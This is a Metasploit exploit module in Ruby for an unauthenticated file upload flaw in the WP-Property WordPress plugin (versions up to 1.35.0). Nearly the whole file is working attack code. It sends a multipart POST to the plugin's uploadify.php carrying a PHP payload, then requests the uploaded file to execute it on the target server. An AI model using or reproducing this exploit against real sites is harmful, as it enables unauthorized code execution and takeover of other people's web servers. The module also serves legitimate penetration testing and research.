97 lines
2.8 KiB
Ruby
97 lines
2.8 KiB
Ruby
|
require 'msf/core'
|
||
|
require 'msf/core/exploit/php_exe'
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
Rank = GreatRanking
|
||
|
|
||
|
include Msf::Exploit::Remote::HttpClient
|
||
|
include Msf::Exploit::PhpEXE
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
|
||
|
'Description' => %q{
|
||
|
This module exploits a vulnerability found in WP-Property <= 1.35.0
|
||
|
WordPress plugin. By abusing the uploadify.php file, a malicious
|
||
|
user can upload a file to a temp directory without authentication,
|
||
|
which results in arbitrary code execution.
|
||
|
},
|
||
|
'Author' => [
|
||
|
'Sammy FORGIT', # initial discovery
|
||
|
'James Fitts' # metasploit module
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Version' => '$Revision: $',
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'OSVDB', '82656' ],
|
||
|
],
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'BadChars' => "\x00",
|
||
|
},
|
||
|
'Platform' => 'php',
|
||
|
'Arch' => ARCH_PHP,
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||
|
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
||
|
],
|
||
|
'DefaultTarget' => 0,
|
||
|
'DisclosureDate' => 'Mar 26 2012'))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptString.new('TARGETURI', [true, 'The base path to WP-Property', '/wordpress/wp-content'])
|
||
|
], self.class)
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
uri = target_uri.path
|
||
|
uri << '/' if uri[-1,1] != '/'
|
||
|
|
||
|
peer = "#{rhost}:#{rport}"
|
||
|
uid = rand_text_alphanumeric(34).to_s
|
||
|
|
||
|
@payload_name = "#{rand_text_alpha(5)}.php"
|
||
|
|
||
|
post_data = "--#{uid}\r\n"
|
||
|
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
|
||
|
post_data << "Content-Type: application/octet-stream\r\n"
|
||
|
post_data << "\r\n"
|
||
|
post_data << payload.raw + "\r\n"
|
||
|
post_data << "\r\n"
|
||
|
post_data << "--#{uid}\r\n"
|
||
|
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n"
|
||
|
post_data << "\r\n"
|
||
|
post_data << "#{uri}plugins/wp-property/third-party/uploadify/\r\n"
|
||
|
post_data << "--#{uid}--\r\n"
|
||
|
|
||
|
print_status("Uploading payload #{@payload_name} to #{peer}...")
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'POST',
|
||
|
'uri' => "#{uri}plugins/wp-property/third-party/uploadify/uploadify.php",
|
||
|
'ctype' => "multipart/form-data; boundary=#{uid}",
|
||
|
'data' => post_data
|
||
|
})
|
||
|
|
||
|
if res
|
||
|
print_status("#{peer} responds with status: #{res.code.to_s}")
|
||
|
else
|
||
|
print_error("#{peer} not responding to our requests...")
|
||
|
return
|
||
|
end
|
||
|
|
||
|
print_status("Executing payload #{@payload_name} on the target...")
|
||
|
res = send_request_raw({
|
||
|
'uri' => "#{uri}plugins/wp-property/third-party/uploadify/#{@payload_name}",
|
||
|
'method' => 'GET'
|
||
|
})
|
||
|
|
||
|
if res and res.code == 404
|
||
|
print_error("Target responding with a 404... Upload probably failed...")
|
||
|
return
|
||
|
end
|
||
|
end
|
||
|
end
|